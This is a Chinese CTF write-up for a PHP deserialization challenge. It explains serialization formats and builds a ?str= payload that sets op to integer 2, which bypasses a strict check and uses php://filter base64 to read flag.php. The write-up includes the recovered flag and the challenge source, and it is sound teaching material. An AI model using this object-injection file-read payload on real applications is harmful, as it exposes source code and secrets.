反序列化的执行顺序复习
file_get_content()可以读取php://filter伪协议
参考博客:一篇很全的PHP伪协议总结
打开靶机直接给了我们php代码(贴在最后)
反序列化
复习自己练习17中的内容
本题中出现的两个魔术方法
__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。(构造函数)
__destruct():当对象被销毁时会自动调用。(析构函数)
以及protected属性在序列化的时候需要修改
各访问修饰符序列化后的区别: public:属性被序列化的时候属性名还是原来的属性名,没有任何改变
protected:属性被序列化的时候属性名会变成%00*%00属性名,长度跟随属性名长度而改变
private:属性被序列化的时候属性名会变成%00类名%00属性名,长度跟随属性名长度而改变
根据代码:
- GET传参
同时if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
要求str全部是可打印字符 - 需要
op===2
,强类型比较后,op置为1,然后执行$this->content = ""; $this->process();
process()
中,op==1
和op==2
执行的结果不同,继续看代码
php
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
- 只有read()函数中这个
file_get_contents($this->filename);
我们可以改参数
那么需要op==2
第一个属性值确定
同时这个file_get_contents($this->filename);
是读取文件内容,那么练习13中遇到的PHP
伪造文件读取协议:filename='php://filter/read=convert.base64-encode/resource=./flag.php'
php
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
- 最后output输出
那构建原始payload:
php
<?php
class FileHandler{
protected $op = 2;
protected $filename='php://filter/read=convert.base64-encode/resource=flag.php';
protected $content;
}
$str = new FileHandler();
$s = serialize($str);
echo $s;
?>
手动序列化
这串字符的含义:
变量类型;类名长度;类名;属性变量个数 {属性类型;属性名长度;属性名;属性值类型;属性值长度;属性值内容}
o表示object对象
11 表示对象名称有11个字符
FileHandler 对象名称
3 表示只有3个属性值
s 表示 string 字符串 i 表示数字
php
# 最后的N 是指conten这个属性没有赋值
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
复习练习21,注意base64,32,16
这一看就是base64
解码一次flag{f75af198-e117-4c32-b99f-d3bb0cf3a40f}
附题目源码:
php
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}